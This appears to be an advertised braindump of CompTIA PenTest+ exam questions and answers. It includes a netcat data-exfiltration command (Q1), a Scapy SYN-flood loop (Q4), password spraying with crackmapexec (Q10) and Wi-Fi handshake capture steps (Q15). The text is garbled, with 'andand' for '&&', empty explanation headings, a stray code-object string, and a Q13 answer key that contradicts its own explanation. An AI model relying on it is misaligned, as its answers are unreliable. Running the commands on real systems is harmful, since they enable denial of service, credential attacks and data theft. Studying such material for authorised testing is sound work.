PT0-003 Q&As

CompTIA PenTest+

Pass CompTIA PT0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/pt0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

Instant Download After Purchase
100% Money Back Guarantee
365 Days Free Update
800,000+ Satisfied Customers

QUESTION 1

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| -

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP

Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP

Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP Block | . | . | *

Which of the following commands should the tester try next?

A. tar -zcvf /tmp/data.tar.gz /path/to/data andand nc -w 3 443

B. gzip /path/to/data andand cp data.gz 443

C. gzip /path/to/data andand nc -nvlk 443; cat data.gz \\' nc -w 3 22

D. tar -zcvf /tmp/data.tar.gz /path/to/data andand scp /tmp/data.tar.gz

Correct Answer: A

Given the firewall policy, let\\'s analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP). Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP). Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data andand nc -w 3 443

Option B: gzip /path/to/data andand cp data.gz 443 Option C: gzip /path/to/data andand nc -nvlk 443; cat data.gz | nc -w 3 22 Option D: tar -zcvf /tmp/data.tar.gz /path/to/data andand scp /tmp/data.tar.gz

References from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A. Forge HTB:

This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc. Horizontall HTB: Highlights the

importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

QUESTION 2

Which of the following describes a globally accessible knowledge base of adversary tactics and techniques based on real-world observations?

A. OWASP Top 10

B. MITRE ATTandCK

C. Cyber Kill Chain

D. Well-Architected Framework

Correct Answer: B

QUESTION 3

A penetration tester is evaluating a company\\'s network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

A. Launch an external scan of netblocks.

B. Check WHOIS and netblock records for the company.

C. Use DNS lookups and dig to determine the external hosts.

D. Conduct a ping sweep of the company\\'s netblocks.

Correct Answer: C

QUESTION 4

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

ip = IP("192.168.50.2")

tcp = TCP(sport=RandShort(), dport=80, flags="S")

raw = RAW(b"X"*1024)

p = ip/tcp/raw

send(p, loop=1, verbose=0)

Which of the following attack types is most likely being used in the test?

A. MDK4

B. Smurf attack

C. FragAttack

D. SYN flood

Correct Answer: D

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target\\'s system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

Understanding the Script:

Purpose of SYN Flood:

Detection and Mitigation:

References from Pentesting Literature:

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

QUESTION 5

During an assessment, a penetration tester wants to extend the vulnerability search to include the use of dynamic testing. Which of the following tools should the tester use?

A. Mimikatz

B. ZAP

C. OllyDbg

D. SonarQube

Correct Answer: B

Dynamic Application Security Testing (DAST):

ZAP (Zed Attack Proxy):

Other Tools:

Pentest References:

Web Application Security Testing: Utilizing DAST tools like ZAP to dynamically test and find vulnerabilities in running web applications. OWASP Tools: Leveraging open-source tools recommended by OWASP for comprehensive security

testing.

By using ZAP, the penetration tester can perform dynamic testing to identify runtime vulnerabilities in web applications, extending the scope of the vulnerability search.

QUESTION 6

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.

Which of the following is the BEST way to ensure this is a true positive?

A. Run another scanner to compare.

B. Perform a manual test on the server.

C. Check the results on the scanner.

D. Look for the vulnerability online.

Correct Answer: B

QUESTION 7

During the reconnaissance phase, a penetration tester collected the following information from the DNS records:

A-----> www

A-----> host

TXT --> vpn.comptia.org

SPF---> ip =2.2.2.2

Which of the following DNS records should be in place to avoid phishing attacks using spoofing domain techniques?

A. MX

B. SOA

C. DMARC

D. CNAME

Correct Answer: C

DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps prevent email spoofing and phishing. It builds on SPF (Sender Policy Framework) and DKIM (DomainKeys Identified

Mail) to provide a mechanism for email senders and receivers to improve and monitor the protection of the domain from fraudulent email.

Understanding DMARC:

Implementing DMARC:

Benefits of DMARC:

DMARC Record Components:

Real-World Example:

References from Pentesting Literature:

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

QUESTION 8

The following PowerShell snippet was extracted from a log of an attacker machine: A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

```
1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5.  return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9.  return 0
10.  }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16.  $test = 'Dummy' + $i
17.  $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " Stest
23. $setipaddress = [ 192, 168, 1, 4]
```

A. Line 8

B. Line 13

C. Line 19

D. Line 20

Correct Answer: A

$X=2,4,6,8,9,20,5 $y=[System.Collections.ArrayList]$X $y.RemoveRange(1,2) As you can see the arrat has no brackets and no periods. IT HAS SEMICOLLINS TO SEPERATE THE LISTED ITEMS OR VALUES.

QUESTION 9

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

A. Manually check the version number of the VoIP service against the CVE release

B. Test with proof-of-concept code from an exploit database

C. Review SIP traffic from an on-path position to look for indicators of compromise D. Utilize an nmap -sV scan against the service

Correct Answer: B

Testing with proof-of-concept code from an exploit database is the best method to support validation of the possible findings, as it will demonstrate whether the CVEs are actually exploitable on the target VoIP call manager. Proof-of-concept code is a piece of software or script that shows how an attacker can exploit a vulnerability in a system or application. An exploit database is a repository of publicly available exploits, such as Exploit Database or Metasploit. Reference: https:// dokumen.pub/hacking-exposed-unified-communications-amp-voip- security-secrets-amp-solutions-2nd-edition-9780071798778-0071798773- 9780071798761-0071798765.html

QUESTION 10

While performing an internal assessment, a tester uses the following command:

crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@

Which of the following is the main purpose of the command?

A. To perform a pass-the-hash attack over multiple endpoints within the internal network

B. To perform common protocol scanning within the internal network

C. To perform password spraying on internal systems

D. To execute a command in multiple endpoints at the same time

Correct Answer: C

The command crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ is used to perform password spraying on internal systems. CrackMapExec (CME) is a post- exploitation tool that helps automate the process of assessing large

Active Directory networks. It supports multiple protocols, including SMB, and can perform various actions like password spraying, command execution, and more.

CrackMapExec:

Command Breakdown:

Password Spraying:

Pentest References:

Password Spraying: An effective method for gaining initial access during penetration tests, particularly against organizations that have weak password policies or commonly used passwords. CrackMapExec: Widely used in penetration testing

for its ability to automate and streamline the process of credential validation and exploitation across large networks. By using the specified command, the tester performs a password spraying attack, attempting to log in with a common

password across multiple usernames, identifying potential weak accounts.

QUESTION 11

A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

A. To provide protection against host OS vulnerabilities

B. To reduce the probability of a VM escape attack

C. To fix any misconfigurations of the hypervisor

D. To enable all features of the hypervisor

Correct Answer: B

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues. One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host. By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

QUESTION 12

A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool: PORT STATE SERVICE

22/tcp open ssh 25/tcp filtered smtp

111/tcp open rpcbind

2049/tcp open nfs

Based on the output, which of the following services provides the best target for launching an attack?

A. Database

B. Remote access

C. Email

D. File sharing

Correct Answer: D

Based on the Nmap scan results, the services identified on the target server are as follows:

22/tcp open ssh:

25/tcp filtered smtp:

111/tcp open rpcbind:

2049/tcp open nfs:

Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege

escalation.

QUESTION 13

A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

A. A generative AI assistant

B. The customer\\'s designated contact

C. A cybersecurity industry peer

D. A team member

Correct Answer: B

Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here\\'s why:

Internal Peer Review:

Alternative Review Options:

In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.

QUESTION 14

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.

Which of the following can be done with the pcap to gain access to the server?

A. Perform vertical privilege escalation.

B. Replay the captured traffic to the server to recreate the session.

C. Use John the Ripper to crack the password.

D. Utilize a pass-the-hash attack.

Correct Answer: D

QUESTION 15

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

A. Enable monitoring mode using Aircrack-ng.

B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.

C. Run KARMA to break the password.

D. Research WiGLE.net for potential nearby client access points.

Correct Answer: A

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

Preparation:

Enable Monitoring Mode:

Step-by-Step Explanationairmon-ng start wlan0

uk.co.certification.simulator.questionpool.PList@6a986d34 iwconfig

Capture WPA2 Handshakes:

airodump-ng wlan0mon

References from Pentesting Literature:

References:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

Latest PT0-003 Dumps PT0-003 PDF Dumps PT0-003 Practice Test